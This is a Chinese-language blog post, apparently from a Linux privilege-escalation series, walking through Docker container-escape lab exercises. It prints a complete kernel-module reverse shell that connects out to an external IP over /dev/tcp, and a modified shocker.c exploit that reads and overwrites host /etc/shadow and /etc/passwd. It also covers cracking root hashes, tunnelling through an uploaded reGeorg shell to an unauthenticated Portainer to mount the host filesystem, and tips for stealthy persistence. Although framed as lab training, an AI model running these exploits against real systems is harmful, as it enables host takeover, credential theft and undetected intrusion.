linux提权系列26: [训练营]docker逃逸2
2023-4-20 07:56:29 Author: 奶牛安全(查看原文) 阅读量:21 收藏

通过引入额外的 Linux 能力和共享网络名称空间来使容器逃逸更有趣。默认情况下,容器在有效集中以非常少的能力集运行,从而使环境难以破坏。

在上一篇文章中,已经了解了特权容器有多么危险,以及打破隔离是多么容易。在本文中,将学习如何在有效集中设置附加功能(如 SYS_MODULEDAC 功能)时进行突破。稍后将看到在具有共享网络命名空间的主机 localhost 接口上运行的应用程序如何导致系统接管。

为了演示所有这些错误配置,我将使用来自攻击防御的以下实验室

滥用 SYS_MODULE 能力

当容器以 cap_sys_module 功能运行时,它可以将内核模块注入主机的运行内核,因为隔离是在操作系统级别而不是内核/硬件级别完成的,并且容器使用 docker runtime引擎与主机内核通信。在本实验中,会发现容器runtime带有额外的 cap_sys_module 能力,当使用默认参数启动容器时,该能力不会添加

// reverse-shell.c
#include <linux/kmod.h>
#include <linux/module.h>
MODULE_LICENSE("GPL");
MODULE_AUTHOR("AttackDefense");
MODULE_DESCRIPTION("LKM reverse shell module");
MODULE_VERSION("1.0");

char* argv[] = {"/bin/bash","-c","bash -i >& /dev/tcp/10.10.14.8/4444 0>&1"NULL};
static char* envp[] = {"PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin"NULL };

// call_usermodehelper function is used to create user mode processes from kernel space
static int __init reverse_shell_init(void) {
    return call_usermodehelper(argv[0], argv, envp, UMH_WAIT_EXEC);
}

static void __exit reverse_shell_exit(void) {
    printk(KERN_INFO "Exiting\n");
}

module_init(reverse_shell_init);
module_exit(reverse_shell_exit);

# Makefile
obj-m +=reverse-shell.o

all:
    make -C /lib/modules/$(shell uname -r)/build M=$(PWD) modules

clean:
    make -C /lib/modules/$(shell uname -r)/build M=$(PWD) clean

编译上面内核模块

在插入内核模块之前,需要在端口 4444 上启动一个 netcat 侦听器,以便在注入内核模块后立即获得反向连接。完成后,使用insmod命令将模块插入主机的运行内核中

一旦插入内核模块,会发现一个反向连接创建并弹出了 bash shell

现在需要做的就是搜索一个flag文件,它很可能位于根用户主目录中。检索flag文件的内容

滥用 DAC_READ_SEARCH 能力

通常一个容器以cap_dac_override能力开始,但如果在有效集合中设置了 cap_dac_read_search 能力,并且有对容器外部任何文件的引用,那么可以打开该文件的句柄并遍历主机的整个文件系统。使用 cap_dac_overrride 还可以更新文件内容。

通过简单的搜索,会在网络上找到一篇 docker breakout 帖子,它还会提供一个漏洞利用代码,名为shocker.c

幸运的是,发现有三个文件引用了主机系统文件中的文件。为了演示,使用/etc/hostname. 如果利用这个文件失败,那么需要用不同的文件进行尝试

现在需要对漏洞进行一些修改,让它在当前环境中运行,因为发现容器中不存在/.dockerinit文件。使用argv[1],这样就不必为任何文件一次又一次地重新编译漏洞利用。要读取文件,只需将文件绝对路径作为第一个参数传递给漏洞利用代码程序文件

....
- int main()
+ int main(int argc, char**argv)
....
- if ((fd1 = open("/.dockerinit", O_RDONLY)) < 0)
+ if ((fd1 = open("/etc/hostname", O_RDONLY)) < 0)
....
- if (find_handle(fd1, "/etc/shadow", &root_h, &h) <= 0)
+ if (find_handle(fd1, argv[1], &root_h, &h) <= 0)
....

所以如果想读取/etc/shadow的内容,需要做的就是调用程序,比如./shocker /etc/shadow. 在这里,会发现 root 用户可以通过 john the ripper 工具和 rockyou.txt wordlist 破解

在进一步枚举网络和开放端口时,发现 SSH 端口 222 在主机系统上是开放的。

使用上面使用 john the ripper 工具破解的密码,可以在主机系统上以 root 用户身份登录到 ssh 会话。

这将进入 root 用户的主目录,在那里可以找到名称中带有一些奇怪的十六进制字符串的文件。那是flag文件。

滥用 DAC_OVERRIDE 能力

在上面的实验中,已经看到如何使用 cap_dac_read_search 读取文件。这时将向前迈出一步,实际写入主机的文件系统。但如果容器在有效集中没有设置 cap_dac_read_search 能力,这是不可能的。在本实验中,这两种能力都在有效集中

#include <stdio.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <errno.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <dirent.h>
#include <stdint.h>

// gcc shocker.c -o shocker
// ./socker /etc/shadow shadow #Read /etc/shadow from host and save result in shadow file in current dir

struct my_file_handle {
    unsigned int handle_bytes;
    int handle_type;
    unsigned char f_handle[8];
};

void die(const char *msg)
{
    perror(msg);
    exit(errno);
}

void dump_handle(const struct my_file_handle *h)
{
    fprintf(stderr,"[*] #=%d, %d, char nh[] = {", h->handle_bytes,
    h->handle_type);
    for (int i = 0; i < h->handle_bytes; ++i) {
        fprintf(stderr,"0x%02x", h->f_handle[i]);
        if ((i + 1) % 20 == 0)
        fprintf(stderr,"\n");
        if (i < h->handle_bytes - 1)
        fprintf(stderr,", ");
    }
    fprintf(stderr,"};\n");
}

int find_handle(int bfd, const char *path, const struct my_file_handle *ih, struct my_file_handle
*oh)

{
    int fd;
    uint32_t ino = 0;
    struct my_file_handle outh = {
    .handle_bytes = 8,
    .handle_type = 1
    };
    DIR *dir = NULL;
    struct dirent *de = NULL;
    path = strchr(path, '/');
    // recursion stops if path has been resolved
    if (!path) {
        memcpy(oh->f_handle, ih->f_handle, sizeof(oh->f_handle));
        oh->handle_type = 1;
        oh->handle_bytes = 8;
        return 1;
    }

    ++path;
    fprintf(stderr"[*] Resolving '%s'\n", path);
    if ((fd = open_by_handle_at(bfd, (struct file_handle *)ih, O_RDONLY)) < 0)
        die("[-] open_by_handle_at");
    if ((dir = fdopendir(fd)) == NULL)
        die("[-] fdopendir");
    for (;;) {
        de = readdir(dir);
        if (!de)
        break;
        fprintf(stderr"[*] Found %s\n", de->d_name);
        if (strncmp(de->d_name, path, strlen(de->d_name)) == 0) {
            fprintf(stderr"[+] Match: %s ino=%d\n", de->d_name, (int)de->d_ino);
            ino = de->d_ino;
            break;
        }
    }

    fprintf(stderr"[*] Brute forcing remaining 32bit. This can take a while...\n");
    if (de) {
        for (uint32_t i = 0; i < 0xffffffff; ++i) {
            outh.handle_bytes = 8;
            outh.handle_type = 1;
            memcpy(outh.f_handle, &ino, sizeof(ino));
            memcpy(outh.f_handle + 4, &i, sizeof(i));
            if ((i % (1<<20)) == 0)
                fprintf(stderr"[*] (%s) Trying: 0x%08x\n", de->d_name, i);
            if (open_by_handle_at(bfd, (struct file_handle *)&outh, 0) > 0) {
                closedir(dir);
                close(fd);
                dump_handle(&outh);
                return find_handle(bfd, path, &outh, oh);
            }
        }
    }
    closedir(dir);
    close(fd);
    return 0;
}

int main(int argc,char* argv[] )
{
    char buf[0x1000];
    int fd1, fd2;
    struct my_file_handle h;
    struct my_file_handle root_h = {
        .handle_bytes = 8,
        .handle_type = 1,
        .f_handle = {0x020000000}
    };
    
    fprintf(stderr"[***] docker VMM-container breakout Po(C) 2014 [***]\n"
    "[***] The tea from the 90's kicks your sekurity again. [***]\n"
    "[***] If you have pending sec consulting, I'll happily [***]\n"
    "[***] forward to my friends who drink secury-tea too! [***]\n\n<enter>\n");
    
    read(0, buf, 1);
    
    // get a FS reference from something mounted in from outside
    if ((fd1 = open("/etc/hostname", O_RDONLY)) < 0)
        die("[-] open");
    
    if (find_handle(fd1, argv[1], &root_h, &h) <= 0)
        die("[-] Cannot find valid handle!");
    
    fprintf(stderr"[!] Got a final handle!\n");
    dump_handle(&h);
    
    if ((fd2 = open_by_handle_at(fd1, (struct file_handle *)&h, O_RDONLY)) < 0)
        die("[-] open_by_handle");
    
    memset(buf, 0sizeof(buf));
    if (read(fd2, buf, sizeof(buf) - 1) < 0)
        die("[-] read");
    
    printf("Success!!\n");
    
    FILE *fptr;
    fptr = fopen(argv[2], "w");
    fprintf(fptr,"%s", buf);
    fclose(fptr);
    
    close(fd2); close(fd1);
    
    return 0;
}

发现主机在端口 2222 上运行 SSH 服务器。但是无法通过 SSH 以 root 用户身份登录

既然可以覆盖文件,为什么不在当前容器中创建一个用户作为初始立足点,并使用漏洞覆盖/etc/passwd/etc/shadow文件

首先,“上传”/etc/passwd 文件,然后在上传/etc/shadow之前更新 root 用户的密码。可以通过简单地执行命令su -l root直接升级到 root 用户

现在,如果您尝试以john用户身份登录,它实际上会将您最初登录到低权限用户的 shell

如前所述,执行切换用户登录到root用户并使用toor作为密码,这在上传shadow文件之前使用容器中的chpasswd更新

共享网络命名空间

基本上命名空间是内核管理的资源的逻辑划分,以便有效地共享资源。默认情况下,容器使用docker0的网口,它的IP以172.17.0开头。当使用创建容器时--network host,它将使用主机的网络接口,从而共享主机的网络命名空间。

在本实验中,发现一个 HTTP 服务在端口 10000 上运行。这很奇怪,因为默认情况下 HTTP80443(如果是 TLS) 上运行

它实际上在端口 10000 上运行 Wolf CMS,并且容易受到任意文件上传的攻击。幸运的是,在实验描述中有登录凭证robert:password1。可以在 /?/admin/login找到管理面板。

查找并上传 reGeorg tunnel.php 文件。这会将通过 socksv4 把向 127.0.0.1 发出的所有网络请求隧道传输到容器的宿主机。为什么需要这个?这将允许通过从 reGeorg 传输数据包在容器宿主机上执行 nmap 扫描。所有上传的文件都可以在/public/目录中找到。

要通过代理链启动隧道和路由流量,首先需要通过 reGeorgSocksProxy.py 启动隧道服务,如下所示。

现在,如果要运行proxychains nmap -sT 127.0.0.1, 它实际上会通过隧道传输数据包并在容器的宿主机上执行扫描。

端口 9000 是可疑的,在本实验的描述中提到有 portainer 正在运行。所以这个端口可能正在服务 portainerPortainer 基本上是一种基于 Web 的工具,用于在同一屋檐下管理多个 docker 服务器。

要从浏览器使用 portainer,需要在首选项的网络配置中配置 socks4 代理。配置完成后,只需打开http://127.0.0.1:9000即可。

幸运的是, portainer 仪表板上没有身份验证

通过按顺序完成以下几点来创建和启动容器

  1. 输入容器的任意名称(这里使用mycontainer
  2. 输入镜像的名称 -wolfcms:latest
  3. 转到卷并将主机的挂载 / 绑定到容器中的 /host
  4. 点击“部署容器”按钮

这将部署容器并重定向到所有容器页面

现在已准备好创建 exec 会话并获得提示符,就像在docker exec -it <container>命令中所做的那样。单击选择的容器名称的圆圈图标。这将带您进入执行页面。单击下面的执行按钮生成一个 bash shell

chroot 进入/host目录并检索flag文件。为了进一步渗透,可以通过 root 用户启用 SSH 登录或向任何低特权用户提供 sudo 权限并使用该用户登录 SSH 服务器以避免怀疑


文章来源: http://mp.weixin.qq.com/s?__biz=MzU4NjY0NTExNA==&mid=2247489235&idx=1&sn=67d735faafe807fc547faafb081ee996&chksm=fdf97dc6ca8ef4d0b427e9fbb4f778fc50a0254fb5ca505166e82dcd942050d32ee729b9df6c#rd
如有侵权请联系:admin#unsafe.sh